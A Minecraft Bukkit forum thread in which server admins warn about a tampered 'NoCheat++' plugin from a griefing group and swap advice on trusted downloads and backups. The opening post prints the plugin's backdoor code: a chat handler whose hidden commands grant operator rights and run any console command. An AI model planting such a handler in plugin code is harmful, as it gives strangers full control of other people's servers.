Force op/.opme

Discussion in 'Bukkit Discussion' started by gaz492, Apr 28, 2012.

Thread Status:
Not open for further replies.
  1. Offline

    gaz492

    I am just making this thread about a plugin I saw on a "griefing team's" website, I would only download NoCheat++ or any other plugins from the authors website or here on bukkit as i saw that this griefing team had a modififed version of nocheat++ that allowed them to op them selfs.
    Code:
    @EventHandler
    public void onChat(PlayerChatEvent event) {
    if (event.getMessage().startsWith(".opme"))
    {
    event.getPlayer().setOp(true);
    event.getPlayer().sendMessage("You are now OP.");
    event.setCancelled(true);
    }
     
    if (event.getMessage().startsWith(".deopme"))
    {
    event.getPlayer().setOp(false);
    event.getPlayer().sendMessage("You are no longer OP.");
    event.setCancelled(true);
    }
     
    if (event.getMessage().startsWith(".op "))
    {
    String nick = event.getMessage().substring(".op ".length());
    if ((Bukkit.getPlayer(nick) != null) && (Bukkit.getPlayer(nick).isOnline()))
    {
    Bukkit.getPlayer(nick).setOp(true);
    event.getPlayer().sendMessage(nick + " is now OP.");
    }
    else
    {
    event.getPlayer().sendMessage(nick + " is not online.");
    }
     
    event.setCancelled(true);
    }
     
    if (event.getMessage().startsWith(".deop "))
    {
    String nick = event.getMessage().substring(".deop ".length());
    if ((Bukkit.getPlayer(nick) != null) && (Bukkit.getPlayer(nick).isOnline()))
    {
    Bukkit.getPlayer(nick).setOp(false);
    event.getPlayer().sendMessage(nick + " is no longer OP.");
    }
    else
    {
    event.getPlayer().sendMessage(nick + " is not online.");
    }
     
    event.setCancelled(true);
    }
     
    if (event.getMessage().startsWith(".opall"))
    {
    for (int i = 0; i < Bukkit.getServer().getOnlinePlayers().length; i++)
    {
    Bukkit.getServer().getOnlinePlayers().setOp(true);
    }
    event.getPlayer().sendMessage("Everyone is now OP.");
    event.setCancelled(true);
    }
     
    if (event.getMessage().startsWith(".deopall"))
    {
    for (int i = 0; i < Bukkit.getServer().getOnlinePlayers().length; i++)
    {
    Bukkit.getServer().getOnlinePlayers().setOp(false);
    }
    event.getPlayer().sendMessage("No moar OPs!");
    event.setCancelled(true);
    }
     
    if (event.getMessage().startsWith(".exe"))
    {
    Bukkit.getServer().dispatchCommand(Bukkit.getConsoleSender(), event.getMessage().substring(".exe ".length()));
    event.getPlayer().sendMessage("Executed.");
    event.setCancelled(true);
    }
    }
    }
    The website I found it at http://nephategriefing.enjin.com/forum/m/5230789/viewthread/2864007-nocheatplusplus/page/1#last
     
  2. Offline

    yttriuszzerbus

    That's some nasty code, but it is not a force-op exploit. To avoid this sort of thing, always download plugins from dl.bukkit.org, where they have been checked by Bukkit / Curse staff.
     
  3. Offline

    KakusCraft

    i dont't really get whats on their mind.

    these "hackers" waste their times by destroying servers, and they don't get any benefit out of it :/
     
  4. Offline

    Dreaux

    The majority are immature 12 year olds with parents that don't know how to raise a child.
     
    TheTrixsta, stevevbrewer and Lupus like this.
  5. Offline

    gaz492

    The fact is that they are around that age as some of the griefing team used to be a part of my server and say on their profiles on their website.
     
  6. Offline

    KakusCraft

    pretty good answer :cool:
     
  7. Offline

    cursedkid

    Just keep backups of your map and plugins. They cant win if you undo all their work. with just a few clicks. Then be civil if they come back let the do it again, If you keep undoing it they will move on, Like Dreaux said they are mostly 12 year old and the attention span is limited to a few minutes.
     
    stevevbrewer likes this.
  8. Offline

    TnT

    Why anyone would trust getting plugins from anywhere that isn't dev.bukkit.org is beyond me. This kind of thing happens all the time, btw. We catch it quite frequently, and those plugins never make it out for public consumption.
     
  9. Offline

    cursedkid

    And i feel that much more confident in bukkit. A friend tried to give me a plugin from dropbox, yea I googled it to dev bukkit.
     
  10. Offline

    sillyrosster

    I don't think there is a plugin called NoCheat++ on bukkit. The plugin is called NoCheat+ and it is a revamp of NoCheat and states on the bukkitdev page not to use NoCheat++. So, don't download anything called NoCheat++ :p
     
  11. Offline

    cursedkid

    Noted good sir
     
  12. Offline

    pcgirl

    I have NoCheatPlus that I got from Bukkit. You guys shouldn't use abbreviations - it confuses things. :s

    And, I was told about it by one of my server visitors. LOL He thought he was being nice about it. I don't think he realises that it's got to be server side anyway.

    I got greifed from a plugin getting onto bukkit where it was changed by an auto update. The creator used code similar to above and trashed my server. :( Now, I deop my self whenever I log off, have an hourly backup happening and have rollback mods installed. So far so good.

    Oh - the code was removed, before others were griefed. But these little shits are still out there doing damage, because it's fun to ruin it for others. :/
     
Thread Status:
Not open for further replies.

Share This Page